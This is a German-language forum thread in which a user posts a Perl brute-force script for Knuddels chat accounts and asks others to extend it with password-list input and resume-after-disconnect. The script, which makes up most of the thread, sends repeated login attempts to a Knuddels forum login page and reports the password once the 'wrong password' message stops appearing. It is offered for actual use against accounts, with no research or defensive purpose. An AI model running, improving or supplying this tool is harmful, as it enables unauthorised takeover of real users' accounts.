Perl Expl0it Frage ...

Ehhhm, jeder kennt scheiß Knuddels, oda? ^^
Ich habe einen BruteForce für Knuddels bekommen. (Perl Datei)

Code:

---

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Response;

print "
 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 >>      www.cnuddelz-dlz.dl.am      <<
 >> Knuddels Bruteforcer - by Ic3Demon <<
 >>  Cracked by cnuddelz-dlz.dl.am    <<
 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

 * * * ! ! ! Cracked Version ! ! ! * * *
\n";

if($#ARGV < 2)
{
        print "Usage: Bruter.pl [Nickname] z.B  aaaa00 ZZZZZZZZZ99\n";
        exit;
}

$us = $ARGV[0];
$w1 = $ARGV[1];
$w2 = $ARGV[2];

print "Der Knuddels Bruter brutet gerade die Passwörter!\n";
print "Besuch uns doch sollange auf www.cnuddelz-dlz.dl.am !\n";

 for($w1..$w2)
  {

  my $ua = LWP::UserAgent->new;
  my $request = new HTTP::Request('POST', 'http://forum.knuddels.de/start_page.php');
  $request->content('Cat=&from=&Loginname='.$us.'&Loginpass='.$_.'&firstlogin=1&buttlogin=Login');
  $request->content_type('application/x-www-form-urlencoded');
  my $response = $ua->request($request);
  my $body    = $response->content;

    if ($body!~/Falsches Passwort/) {
    print "\nFertig! Das Password leutet; ".$_;
    print "\n\n\n";
    exit;
    }
  }

print "Entschuldigung! Kein treffendes Password gefunden!\n"";
print "Besuch uns doch trotzdem auf www.cnuddelz-dlz.dl.am !\n";

---

Nun wollte ich die Perl Profi's fragen, ob ich irgendwie eine Passwortlist auswählen kann & wenn die verbindung kurz ausgeht, an der angehaltenen stelle später weitermachen?!

Ja kannst du.

Ich meinte eher ob jemand diesen expl0it bearbeiten könnte ^^

Ja könnte jemand machen.